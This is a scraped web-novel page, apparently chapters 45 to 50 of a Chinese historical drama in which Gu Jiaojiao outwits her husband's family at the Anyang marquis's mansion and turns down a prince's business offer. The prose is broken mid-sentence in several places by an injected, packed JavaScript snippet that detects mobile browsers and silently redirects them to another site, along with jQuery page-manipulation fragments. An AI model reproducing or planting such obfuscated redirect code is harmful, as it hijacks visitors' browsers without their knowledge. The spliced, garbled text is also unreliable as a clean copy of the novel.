箱盖打开,里面赫然躺着和方才孙协兆毁掉的那份儿一模一样的账簿。 孙协兆傻眼了,呆在原地一时没反应过来,他从未见过谁会这般吃撑了没事干,将一模一样的账簿拓印这么多份! “疯子,你真是疯子!”他怒骂,而后快步走到箱子处。 顾皎皎见状勾唇:“撕吧,撕一份账簿五两银子,我这儿还有十数箱,只是撕完记得结账便是。” 孙协兆手上动作停住,一时之间撕也不是,不撕也不是,面色难看至极。 从前他一直以为这商女是个好拿捏的,未曾料到确是这样一个难缠之人! 孙协兆回头怒目而视:“顾皎皎,你莫要欺人太甚,当初可是你父亲舔着老脸,搭上你顾家所有财产,求着我娶你的!” 见他提到父亲,顾皎皎面色冷了些,她起身:“我父亲不是你能提的,你说话最好注意些。” 孙协兆冷笑:“有脸做还怕人提?若不是你父亲舔着脸求我娶你的,否则你一介商女,怎有机会嫁到侯府?” “我告诉你,你既然嫁来了安阳侯府,那你的嫁妆便也是安阳侯府的,所以你的这些账簿什么的,都不作数!” 说完,他泄愤般踢了踢箱子。 顾皎皎:“那你的意思是准备赖账?” 孙协兆怒了:“何来赖账一说?你父亲是将顾家财产悉数送给了安阳侯府,用自己的钱,为何还要还?若是你实在心中不忿,我可给你一纸休书,你转头去吊死,到阎罗殿去问问你那死鬼父亲吧!” “啪!” 清脆的巴掌声响起,顾皎皎收回已经麻木的右手:“我说过了,你休要提我父亲,你们孙家人不配!” “你敢打我?你竟敢打我?顾皎皎你是活腻了吗?”孙协兆用舌头顶住生疼的脸颊,怒极反笑。 他在院中暴躁地来回踱步:“既然你这般给脸不要脸也就怪不得我打女人了!” 今日,他非得将她打服气不可! 说完,孙协兆红着眼直直冲向顾皎皎,一副要将身上蛮力都使出来的阵仗。 就在他一拳即将打到自己脸上的时候,顾皎皎眼神一凛,四两拨千斤将他的攻击一一化解。 孙协兆被拨到一旁,他看着自己的手,面上满是不可置信。 怎么回事?方才他可是用了十成的力道,怎的她三两下便躲过去了? 巧合,一定是巧合! 孙协兆又向顾皎皎扑了过去,顾皎皎身躯灵活,悉数侧身避开,找准时机,她一脚踹在他腚上,下一秒,孙协兆当着满院子人摔了个狗吃屎。 下巴处当即便传来剧烈疼痛,孙协兆痛呼,他想咒骂顾皎皎,却发现一个字也说不明白,只能咿咿呀呀的。 莺儿笑了:“姑娘,您看他是不是下巴脱臼了,话都说不清楚了呢!” 顾皎皎饶有兴致打量孙协兆,片刻后才道:“不错,是脱臼了。” 不过是轻轻踹了一脚,他的下巴便脱臼了,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如今孙协兆表面上与小云南王交好,若是小云南王成为太子,或是成为下一任皇帝,那他便是天子近臣,或许权倾朝野也说不定。” “到时,旁人为了巴结他,肯定会为难我,我们无权无势的,又拿什么抗衡?” 第四十六章 功过相抵 顾皎皎冷静分析:“是以,与其为以后埋下隐患,不如现在多想些法子一劳永逸。” 账簿一出,安阳侯府表面看似仍旧风平浪静,内里却悄悄变了天,人人都懂良禽择木而栖的道理,如今知晓了撑起安阳侯府的人是谁,自然心思就活络起来,因此不少小厮丫鬟日日候在顾皎皎必经之地示忠心。 驿站 沈云祉拇指轻轻摩擦着纸张上顾皎皎三字,眸中兴味浓厚:“安阳侯府一大家子,竟被她一人给收拾得服服帖帖?” 双剑拱手:“正是,如今孙协兆与安阳侯府的老夫人整日都在塌上度过,而大夫人与二夫人也都缩在院中不肯出来。” 沈云祉点头:“明知平王初八认亲,孙协兆那蠢货却初七晚上与徐青青厮混,真是蠢到家了!” 双剑:“小王爷,小的查到顾夫人用丰厚银钱收买了孙协兆与徐青青的贴身服侍之人。” “哦?”沈云祉挑眉:“她让他们做了什么?竟让那两人都不管不顾的,为了一时欢愉竟连大事也不顾了?” 双剑:“顾夫人让孙协兆与徐青青的贴身服侍之人日日在他们耳边念叨日子,潜移默化下,原本初七的夜晚,在他们二人看来就是初六晚上,此外,小的还在孙协兆的衣服上嗅到一股淡淡香味,小的猜测应当是迷情之物……或许也是因为这种种原因,孙协兆才会在关键时候行差踏错。” 沈云祉闻言薄唇弯起:“怪不得呢,原是顾皎皎下了一盘大棋。” 双剑眸中也带着欣赏:“从前小的没有真正了解顾夫人时,只以为是稍稍有些能力的后宅妇人罢了,可如今小的看法完全颠覆。” 沈云祉勾唇,颇为感兴趣:“如何个颠覆法?你且说来听听?” 双剑:“顾夫人走一步算三步的缜密心思,哪怕是京中世家大族的贵女也鲜少有人比得过,哪怕自己出身不高,却仍旧不卑不亢,从不将自己困在后宅之中,纵使这两年她嫁到安阳侯府过着水深火热的日子,手中的嫁妆却料理得井井有条,如何不叫人钦佩?” 沈云祉闻言若有所思,他站起身,手中折扇打开又合拢:“你说,顾皎皎给孙协兆的账簿中,安阳侯府这两年用了一千三百万两白银?” “正是。” “账簿有无作假可能?” 双剑:“小的原本也不相信,是以特地从安阳侯府一小厮处买了一份账簿,您可以看看。” 说着,双剑从怀中掏出账簿毕恭毕敬递到沈云祉面前。 沈云祉打开账簿查看,一目十行,片刻后,他将账簿合上:“应当不是作假。” 双剑了解沈云祉秉性,是以他询问道:“小王爷询问顾夫人之事,可是有什么想法?” 沈云祉点头:“如今看来,顾皎皎颇有行商天份,是挣银两的好手,或许本王与她可以合作。” 思虑片刻,他道:“你寻个时间约顾皎皎到第一楼,本王与她谈谈。” 双剑领命离开。 安阳侯府 秋容跪在院中,细细密密的汗水从她额角渗出,因着实在受不住了,她想放松下来休息片刻,后背却被猛的打了一棍子。 “跪好了,宋嬷嬷吩咐了,不跪满十个时辰休想起来!” 后背火辣辣的疼痛感格外剧烈,秋容咬牙将泪水憋回,她讨好道:“姐姐,您且告诉我吧,我究竟是哪里没做对才惹了宋嬷嬷厌烦?” “哼!你自己做了什么事情自己不知晓么?又在这里到处问什么?” 那丫鬟还没答话,宋嬷嬷冷笑着从屋内走出:“都是因为你提供了错误的信息,才会给安阳侯府招来这般祸端,老夫人未将你发卖已经是菩萨心肠了,如今不过跪了几个时辰,竟就怨天怨地了?” 秋容面色惨白,她因着怕顾皎皎出事时自己会被牵连,是以特意请了假在外避了几天。 她以为事情已然尘埃落定,是以才偷偷回了府中,没料到一回来却被罚跪,还被打了不少棍子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017261|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “宋嬷嬷,那张纸确实是奴婢从姑娘书案上取的,并非奴婢杜撰啊!” 秋容不住磕头,没一会儿额头上便鲜红一片。 宋嬷嬷见状目露不忍,心生恻隐,她当然知晓那日之事不是秋容的错,那件事本就是顾皎皎设的一石二鸟之局, 可老夫人吩咐了将锅甩给秋容,她也只能照做。 宋嬷嬷冷脸道:“究竟真相如何,你自个儿心中清楚,都是因为你,老夫人才会被气得旧疾复发,安阳侯府才会在京中名声扫地!” 秋容害怕极了,她的眼泪再也憋不住,哭着跪过去保住宋嬷嬷的大腿:“嬷嬷,求您帮帮奴婢,奴婢真的不知道是什么回事啊!” “要帮你也不是不行。”宋嬷嬷顿了顿,在秋容眼中看到希望后,她才慢悠悠道:“不过老夫人说了,得看你表现才行,若是表现得好,这次之事便可功过相抵了,之事老夫人承诺你的事情也都通通作数。” 秋容闻言上了勾,她忙道:“不论老夫人要奴婢做什么,奴婢都愿意,赴汤蹈火,在所不辞!” “我就知道,你是一个好孩子。”宋嬷嬷安抚般摸了摸秋容的头,片刻后才道:“老夫人的意思,是让你 重新回皎月阁当差,这样也能帮着老夫人里应外合。” 秋容为难:“嬷嬷,如今奴婢与姑娘已然闹掰,如何还能回去,不若老夫人重新给奴婢一个任务吧,奴婢一定完成。” “可以回去的。”宋嬷嬷笃定:“不过是要吃些苦罢了,就看你愿不愿意……” 皎月阁 因着最近之事都格外顺利,顾皎皎心情颇好,她日日吃了睡,睡了吃,清瘦的身子丰腴了几分。 莺儿快步踏进寝屋内,她眼眸通红,急切道:“姑娘,您快去院外瞧瞧吧!” 顾皎皎拧眉:“何事?怎么看你的样子好像哭了一场?” “姑娘且随奴婢去看看就知道了。”莺儿胡乱擦了擦眼角,拉着她便往院外走。 第四十七章 得有所取舍 还未走到院外,顾皎皎已然隐隐约约瞧见一个浑身血淋淋的人生死不知地仰躺在院门处。 那人不会是秋容吧?她眉心一跳,忙快步走过去。 见真是秋容,她的心终归还是揪了揪,虽然她背叛了自己,可终归是一同从顾府出来的,到底还是有几分恻隐之心。 莺儿眼泪流得更加厉害,她拉住顾皎皎的手微微颤抖:“姑娘,她会不会死啊?” 顾皎皎回握:“别担心,她会没事的。” 回眸看向身后的两名侍女,她冷静下令:“你们先将秋容抬回房间去,然后一人拿着我的牌子去街上请一位大夫回来给她看诊,另一人烧热水给她清洗伤口换衣。” 两名丫鬟愣住,她们是有些不情愿的,毕竟当初秋容在皎月阁那模样,也没几人看得惯。 但是碍于主子发话,她们只能应下:“是,三夫人。” 两名丫鬟井然有序将秋容抬回房间,处理一切事宜。 顾皎皎将手帕递给莺儿,颇为无奈:“当初对她恨之入骨的是你,如今为她眼红落泪的也是你。” 莺儿拭泪:“姑娘,奴婢是气她背叛您,可人非草木,孰能无情?毕竟确有一段相伴的情意在,看她这幅半死不活的可怜模样,又哪里真能毫不动容。” 顾皎皎轻轻拍了拍她的后背,平静的眸子看向秋容安置之处:“我何尝不知你的感受,恻隐之心我亦有,可情意归情意,利益归利益,总归还是莫要掏心掏肺的好。” 莺儿止了泪,愕然道:“姑娘,您的意思是……” 她微微摇头:“我说此话并没有什么话外之音,只是希望你日后莫因今日的怜悯之心而对她毫无防备,毕竟背叛只有零次与无数次……” “姑娘,奴婢知晓了。”莺儿点头:“今日为她哭了这一场,也算是全了我与她的情份,若是她当真执迷不悟,那奴婢与她便是你死我活的立场。” 顾皎皎满意:“你有这个觉悟便好,毕竟我身边只有你靠得住了。” 莺儿将眼泪擦净:“姑娘,咱们回去吧。” 主仆二人本欲离开,嗖的一声,一只长箭忽的射到门上,入木三分。 顾皎皎定睛打量,箭尖上泛黄的信封格外醒目。 莺儿惊了:“姑娘,这是……” “嘘。”她以手抵唇:“是小云南王的信,隔墙有耳,莫要让人发现才是。” 顾皎皎上前,动作迅速地将信封踹进怀里:“这支箭收好。” 回了房间,她将信封打开细看,里面去只有寥寥几字,见此,她秀气的眉头微蹙。 “姑娘,你怎知是小云南王的信?” 因为味道,信上带着一股浓浓的沉木香气,与小云南王身上的一致,且她曾意外瞧见过他的字迹,是以才如此猜测。 但是此话她是万万不会说的,顾皎皎垂眸将信件收进袖中:“这纸张是上等货品,是云南封地特供之物,是以我才一眼便知是小云南王的信。” 莺儿信以为真:“原来如此,姑娘,小云南王信中说了什么?” 顾皎皎眯眼,心中升起一股警惕感:“他让我今日申时到第一楼相见,说是有事相商。” “什么?”莺儿惊讶不已:“姑娘,您与小云南王也无甚交情,他为何会忽然约您见面?” “不知。”她轻轻摇头,眸色深邃:“不过既然他将信封递了过来,那自然是有缘由的,咱们去瞧瞧便是。” “况且第一楼是我们的地盘,小云南王的这次邀约,也算是诚意十足。” 主仆二人提前到了与沈云祉相约之处。 顾皎皎打开房门,却见一席淡蓝长袍的沈云祉正端坐在窗边品茶。 听见房门处传来动静,他头也未回:“顾夫人,你来了。” “嗯。”顾皎皎淡声询问:“不知小王爷今日邀我来此所谓何事?” 沈云祉将手中茶盏放下,这才转身看向顾皎皎:“顾夫人,请坐,容本王慢慢与你说道说道。” 看见他面上无懈可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017262|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击的笑容,顾皎皎忽觉头皮发麻,她怎么觉得自己即将要被卖了? 察觉到她的抗拒之意,沈云祉面上笑容加深,她倒了一杯茶水:“顾夫人,请。” 这下顾皎皎不得不坐到了沈云祉对面,他是身份尊贵的小云南王,他都已经亲自动手倒了茶,若是自己再不顺着台阶下去,那便真是不识抬举了。 只是有了前车之鉴,那杯茶水她却是万万不敢碰的。 沈云祉轻笑,单独给自己斟了一杯茶送入口中:“顾夫人放心,茶水无毒。” “我不懂小王爷您说的是何意。”心思被看穿,顾皎皎忽觉窘迫,不自然移开视线。 “本王很高兴顾夫人能够准时赴约。”沈云祉的视线落在顾皎皎面上,他直入主题:“今日本王邀顾夫人来此是希望与顾夫人合作。” “合作?”顾皎皎情绪逐渐平缓,闻言她几不可见挑了挑眉:“小王爷,我是个愚钝人,有何事您不妨直说?” 沈云祉看了一旁的双瑞一眼,双瑞即刻从怀中掏出一张宣纸放到顾皎皎面前。 和离书三字映入顾皎皎眼帘。 沈云祉笑了笑:“ 这便是本王与顾夫人合作的诚意,只要顾夫人答应与本王合作,三日之内,本王定让孙协兆在上面签字画押,且本王承诺,当初你带进安阳侯府的嫁妆也全数让你带走。” 顾皎皎沉默,这个条件对她来说确实十分有吸引力,可天下从无免费的午餐,沈云祉肯这般帮她,也是有所图谋。 清了清嗓子,她淡声道:“小王爷您不妨直说,您希望我做什么?既然是合作,想来我也应有选择的权利吧?” “当然,你可以思虑清楚再给本王答复。” 沈云祉神情愉悦:“我知你经商天赋极高,本王手下正好有些资产无人料理,只要你愿意接手本王名下产业,想来经营出高利润不在话下。” “不过……”他顿了顿:“因一人的精力到底有限,若想接下本王名下产业,你得有所取舍。” 第四十八章 下半辈子衣食无忧 顾皎皎不动声色,她颔首聆听下文。 “顾夫人手中资产颇丰,料理起来想来也十分耗神耗力,本王替你想了一个法子,既可保证顾夫人下半辈子衣食无忧,也能保证你自此不受安阳侯府打扰。” 顾皎皎平静的眸子直直看向沈云祉:“小王爷所说确实十分诱人,不妨您说清楚些,我也好考量一番。” 沈云祉:“顾夫人可将你手中的资产全部卖给本王,然后再接手本王名下产业料理,当然,顾夫人放心,本王给的银两绝对高于所有人。” “到时,安阳侯府的人见你为本王做事,自然也不敢贸然前来找你的麻烦。” 他微微一笑:“顾夫人考虑下吧,此事于你百利而无一害,况且你一个女子,若真与协兆和离,想独身撑起顾府的门楣,想来也是十分不易。” 不易你个大头鬼!分明是想满足你自个儿的私欲才是! 这冤大头谁愿做谁做,她宁愿多花些心思与孙协兆和离,也不要与小云南王牵扯到一处,这些有权有势之人,哪个不是吃人不吐骨头的货色? 顾皎皎已然打定主意,她心中腹诽,面上却寻常化。 她垂眸,装作思索模样,片刻后她礼貌一笑,诚恳道:“多谢小王爷的好意,只是我生来愚钝,怕是无法胜任替您管理资产一事,也无法承担出了纰漏的后果,我没什么野心,下半辈子守着父亲留下的产业,足矣。” 沈云祉被拒绝也不恼,他反问:“顾夫人可考量清楚了?本王并非寻不到人料理资产,也是将顾夫人在安阳侯府的遭遇看在眼里,想拉顾夫人一把。” 顾皎皎微笑:“是,我已考虑清楚,望小王爷莫要强人所难。” “双瑞,送顾夫人回安阳侯府。” 这下轮到顾皎皎诧异了,她本以为自己拒绝了小云南王,对方怎么也会有恼怒之意,没料到他不仅没有生气还让贴身小厮将她送回侯府。 她福身行礼:“多谢小王爷。” 瞧着顾皎皎的背影,沈云祉轻笑:“天生愚钝,好一个天生愚钝……” 自那日认亲一事被搅黄后,徐青青便被平王关在院中不准任何人探望。 这几日没有任何消息,徐青青也慌了,她怕平王不认她,不将她带回王府,也怕孙协兆不要她了,若是两头挑空,那便得不偿失了。 “吱嘎” 房门开合声打断了徐青青的思绪,一名嬷嬷逆光走来,手中端着衣物与首饰。 徐青青眼眸一亮,她忙迎上去:“李嬷嬷,这些衣物可是父王让您带来给我的?” 李嬷嬷面无表情点头:“王爷吩咐奴婢将您带回平王府,您快些梳洗了把衣服换上吧,莫要误了时辰。” 为何要她自己梳洗?难道不行李嬷嬷伺候? 徐青青心中不满,但一想到自己如今的处境,便将那抹怒气咽了下去:“李嬷嬷稍等,我很快就好。” 接过她手中的衣裳与首饰,徐青青皱眉,为何这衣服料子如此剌手,她再如何也是平王郡主,这老虔婆竟用奴婢的衣裳来敷衍她。 等她见到父王定然告她一状! 精心打扮一番,徐青青这才扭着腰肢来到门外,外边已经有了一辆马车侯着。 徐青青这才满意了些许:“走吧,李嬷嬷。” 李嬷嬷却未动分毫,她皱眉看向徐青青:“姑娘,为何没穿奴婢拿给您的那套衣裳?” 这老婆子竟也好意思问?那套衣裳又难看,料子又剌手,哪里配得上她? 徐青青抬高下颚:“那套衣裙尺码不对,况且我的肌肤向来小气,只能穿我自己的衣裳,李嬷嬷,你不会连我穿什么衣服也要管吧?” 李嬷嬷闻言垂下头,瞧不清神色:“奴婢不敢,既如此,还请姑娘上马车吧,咱们这就出发了。” 徐青青得意洋洋上了马车,就算李嬷嬷是在平王府待了数十年的老人又怎样,现如今还不是得向自己低头?她是父王的亲生女儿,李嬷嬷又算什么东西? 马车摇摇晃晃,徐青青忽觉疲惫,睡了过去。 睡梦中,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017263|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上忽的传来刺痛感,她睡眼朦胧睁眼,只见一丫鬟打扮得女子正叉腰看着自己。 所以,方才是这贱人打了她? 徐青青愤怒,她大喊:“李嬷嬷,这是何人,她为何会出现在马车上?还敢对我动手动脚!” 李老师挪到马车前,她面色平静:“姑娘,这是王妃身边的锦衣丫鬟冬儿。” 王妃?徐青青哑然,片刻后,她不服输道:“就算是母亲身边的锦衣丫鬟又如何?我为主,她为奴,哪里有她对我动手动脚的道理?!” 语毕,现场鸦雀无声,无一人敢说话。 片刻后,一声低笑传来,徐青青循声瞧去,一名衣着华贵的美妇人正笑看着自己。 她愣住,平王妃竟这般美,这般雍容华贵。 “啪!” 徐青青愣神的功夫,冬儿又是一巴掌抽到她面上。 徐青青看向平王妃,不可置信道:“母亲,您就这般眼睁睁瞧着您身边的丫鬟平白无故这般待我?” 平王妃似笑非笑:“本王妃可不记得何时生了一个你这般大的郡主,你莫要 胡乱攀扯关系,你该唤王妃才是。” 徐青青如何不懂平王妃的刁难,她咬牙:“王妃。” 平王妃这才满意,她看了冬儿一眼,冬儿立马叫了两名小厮将徐青青从马车上叉了下来。 “你们干什么?知道我是谁吗?你们竟敢这般待我!” 徐青青大吼大叫,冬儿直接塞了一块抹布到她口中:“敢在王妃面前做出这般癫狂模样,你真是放肆!” 平王妃唇边笑意深了几许,她静静看着面前的好戏不发一语。 徐青青本以为平王妃看在平王的面子上,怎么也不会太过刁难自己,哪里预料初来平王府,便是这般水深火热。 她求助的视线投向李嬷嬷,然而后者却眼神呆滞,全然当做未曾看见。 平王妃满意了,她抚了抚发上精致的金簪,漫不经心道:“冬儿,还不快些放开她,都这般粗鲁做什么?” 第四十九章 将功抵过 “要是让旁人瞧见了,指不定编排本王妃肆意欺辱府中下人呢。” 平王妃的声音淡淡的,倨傲的眼神落在徐青青身上,似有若无的嘲讽之意在眸中流转。 好似在告诉徐青青,就算你被平王接回王府又如何,只要未公布你郡主的身份一日,那你一日便是奴婢。 下人?徐青青面色难看,她咬牙道:“王妃,我是父王……” “啪!” 她的话还未说完,冬儿又是一巴掌扇到她面上:“真是愚钝,看来前面那两巴掌,竟还未教会你说话!” 此刻徐青青才后知后觉明白过来,平王妃原是不愿给自己郡主的身份,才这般磋磨她。 好汉不吃眼前亏,徐青青向来能屈能伸,思虑片刻后她红着眼磕头:“方才都是奴婢嘴上没个把门,还请王妃恕罪……” “奴婢?”平王妃好似被这两个字取悦到了,红唇勾起:“算你识时务,不过方才到底是你无礼了,现下本王妃给你一个将功补过的机会,你可要?” 徐青青:“只要王妃您能消气,奴婢做什么都愿意。” 李嬷嬷意味深长看了她一眼。 平王妃闻言更加愉悦,她手指勾了勾,冬儿松开徐青青立马上前:“王妃,您有何吩咐?” “既然她想要将功抵过,便即刻将她带下去吧,莫要辜负了她这一片赤诚之心才是。” “是,王妃。” 冬儿冷着脸走到徐青青跟前:“走吧,我带你过去。” 徐青青面色微变,她本是想说两句好听的将平王妃稳住,并非真正想将功抵过,这平王妃怎的现在就让人将她带去干活? 她是身份尊贵的郡主,怎么能做那些下人干的活儿?说出去不是平白被人笑话吗? 徐青青脚步迟迟没有挪动,一双眼睛死死看着李嬷嬷,希望她能出手帮自己一把。 怎料后者却低垂着眉,眼神也未给她一个。 平王妃唇瓣微张,她皱眉轻轻啧了一声:“怎么,难道方才你说的将功抵过之言,都是诓骗本王妃的?” 徐青青颤栗,忙道:“没有……” 冬儿有些不耐烦:“既如此,那便走吧,莫要磨磨蹭蹭耽搁时间了。” 徐青青被冬儿带到一个偏僻小院儿,还未进入院子,一股骚味与臭味混合的味道传来。 徐青青赶忙捂住鼻子:“这是何处?为何气味这般刺鼻!” 冬儿笑了,面上带着与平王妃如出一辙的倨傲:“此地乃是刷洗恭桶之处,既然方才你给了王妃承诺,那今后便在此替咱们府中刷洗恭桶将功赎罪吧!” 说完,冬儿将徐青青推进院中:“林嬷嬷,这是新来的,分些活儿给她做吧。” 林嬷嬷谄媚一笑:“冬儿姑娘且放心,我定然好好调教她。” 院门关上,冬儿径直离开。 徐青青看着逐渐关上的院门目露惊恐,为何事情的发展与她想象的完全不同,如今她被关在这个满是臭味的院中刷洗恭桶,她还有机会见到父王吗? 夜间,平王府书房。 平王冷冷看着跪在地上的李嬷嬷:“什么意思?徐青青怎会被王妃调去府中刷洗恭桶了?你为何不拦着?” 李嬷嬷:“回王爷,并非奴婢不想拦,王妃的性子想来王爷您也清楚,奴婢实在是有心而无力。” 平王情绪逐渐冷静下来,他问道:“昨日你说你已然做好万全的准备,是以,本王才让你去接人,怎的今日就无能为力了?” 面对他的质问,李嬷嬷没有丝毫慌乱,她冷静解释道:“回王爷,今日奴婢给姑娘准备了一套低调的衣衫,要她换上,怎知姑娘从院中出来时不仅未穿戴低调,反而十分华贵美艳……” 平王瞬间明白过来,他眯眼:“如此,便也怪不得你了……” 平王妃最为善妒,嫉妒心极强,若是今日徐青青乖乖穿上衣裙,灰头土脸回府,那平王妃不一定会刁难她。 可她偏偏自作聪明,这又能怨谁? 平王对这个便宜女儿生出不少怒气:“早知她是这个性子,本王便不会提认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017264|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲一事,纵使本王想为她打算又如何?她自个儿不中用啊!” 李嬷嬷点头:“王爷说得是,只是就算您如今不打算公布姑娘的身世,但她终归是您的血脉,在府中刷洗恭桶怕是……” “这个本王自有分寸。”平王仰躺在梨花木椅上,神色放松:“她这般的,也合该学学规矩,否则日后怕是非但不能助我,反而是累赘。” 李嬷嬷颔首:“是,王爷,那奴婢便等个几日再将姑娘接出。” 安阳侯府 “三爷,平王府内高手众多,小的跟着青夫人到了平王府后便不敢再跟。” 孙协兆双手靠到一处:“看来我果然没猜错,青青终究是平王的骨肉,哪里舍得真的听之任之?” 他从怀中掏出一张银票递给黑衣探子:“我要见青青一面,越快越好,你且用这些银两去疏通一下。” “是,三爷。” 皎月阁 莺儿慌慌张张闯进屋内:“姑娘,方才奴婢听说孙三那外室徐青青竟被接回了平王府!” “接回了?”顾皎皎 面露诧异:“平王便罢了,平王妃竟也肯?” 难道这次当真是她猜测错了?若真是这样,那她得重新想个法子对付她,毕竟身份尊贵的平王郡主与从前的外室身份已是不可同日而语的存在。 说难听些,若她身为郡主,要捏死自己,就如同捏死一只蝼蚁般简单! 想了想,顾皎皎询问道:“你是从何处知晓的徐青青被接回平王府一事?” “姑娘,您忘了咱们在孙三书房安插了眼线一事?这个消息是眼线在孙三与探子说话时偷听到的。” “偷听……”顾皎皎若有所思:“意思是京中并没有平王府多了一个郡主的事儿对吧?” 莺儿点头。 见此,顾皎皎心下稍松:“那徐青青便不足为惧。” “对了,秋容如今情况怎样?你可私下里观察过,她可有什么异常举动?” 说到此处,莺儿瞬间变得愤愤不平。 第五十章 讨回公道 顾皎皎挑眉:“怎的了?前两日见到她受伤的模样不还心疼得紧吗?” 莺儿呸了一声:“姑娘,您还是莫要提她了,晦气!” “如今她身上的伤倒是没什么可,可奴婢每日瞧见她那贼眉鼠眼的模样,心中膈应得很。” 顾皎皎抿唇笑:“如今既然已经将她重新收回皎月阁,自然只能让她继续呆着了,若是你实在瞧不惯她,便将她远远打发了便是。” 莺儿垂头丧气的:“是,姑娘。” 平王府 徐青青边干呕边蹲在地上刷洗恭桶,她换下精致华服,一身粗布麻衣,往日里打扮精致的面庞也不施粉黛,原本白皙细腻的手变得粗糙了些许。 难闻的气味不住钻进鼻腔,徐青青终是忍不住了,她站起身跑到小道旁弯腰呕吐起来。 “哟,某些人真当自己是金尊玉贵的大小姐呢?即是奴才的命,不过刷洗一个恭桶罢了,做出那副模样作甚?” 林嬷嬷站在徐青青身后冷嘲热讽,眼神不善。 徐青青起身:“嬷嬷,这些恭桶实在太过难闻了,你可否帮我问问王妃,我究竟何时才能出去?” “呵呵。”林嬷嬷笑了笑,似是在嘲讽她的天真。 “你进了这处还想出去?实话告诉你吧,进了这个院的,就没有转到别院的道理,毕竟没有那个主子会愿意用一双曾经触碰屎尿的手来伺候自己梳洗更衣,甚至布菜?” “所以,你还是死了这条心吧!快些洗,若是今日的任务还是完成不了,那晚膳你就别用了!” 看着林嬷嬷离开的背影,徐青青用力将面上泪水擦拭干净,不行,她不能一辈子待在这里,她得想办法出去! 她的眸中快速划过一抹怨恨,都怪顾皎皎,若不是她,自己也不会认亲当日丢脸惹怒父王,若是成功认亲,她又何至于被王妃蹉跎至此? 徐青青泄愤般踢了踢面前的恭桶,若不是顾皎皎那贱人,她又哪里会沦落到刷洗这等污秽之物的地步? 越想越委屈,徐青青蹲在地上大哭。 肩上忽的覆上一只温热的大掌,头顶传来熟悉的男声:“青青,原来你在王府竟过着这般水深火热的日子……都怪我未曾及时来寻你……” 孙协兆眸中满是心疼,他蹲在徐青青面前,带着薄茧的手掌将她消瘦的面庞捧进掌心。 徐青青看着面前人愣住,满是不可置信:“协兆?你怎会在此?” 孙协兆更心疼了:“我知你被平王带回王府了,心底放心不下,所以才想方设法来见你……你这几日都是在这里刷洗恭桶?” 他鼻尖动了动,眉头无意识蹙起。 他这表情什么意思?是嫌弃自己身上臭? 徐青青面上闪过恼意,她将孙协兆重重推开,脉脉温情瞬间消散。 孙协兆懵了:“青青,你这是做什么?” 徐青青将即将脱口而出的怨恨吞回肚中,现如今她只能依靠孙协兆了,若是因为逞一时之快而将他也惹恼了,那她才真是一辈子都要与这些恭桶作伴! 想清楚利害关系,她眼眶越发红,一副要哭不哭的模样:“都怪你,不然我哪里会受这种苦……” “好了,青青,不哭。”孙协兆将徐青青搂进怀里:“我与母亲已经查探清楚,这次的事情都是顾皎皎那贱妇而为,你放心,我一定替你讨回公道。” 徐青青苍白的面颊带着一股病弱西子的美感,她轻声细语道:“若是你真心想替我讨回公道,那便将她休了,并且一分钱嫁妆也不能让她带走,她让我们在父王面前丢了那样大的面子,害我未能顺利认亲,怎么也得补偿我们才是……” “协兆,你说我说得对不对?” 孙协兆闻言点头,他咬牙道:“青青说的自然是对的,况且她一个破落商女,能嫁到安阳侯府享了两年多的清福,已经是她祖坟冒青烟了,如今她不仁在先,也就不能怪我们不义了,赔偿我们一些银两也是应该的!” 徐青青心中满意,面上却仍是梨花带雨模样:“你拎得清便好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 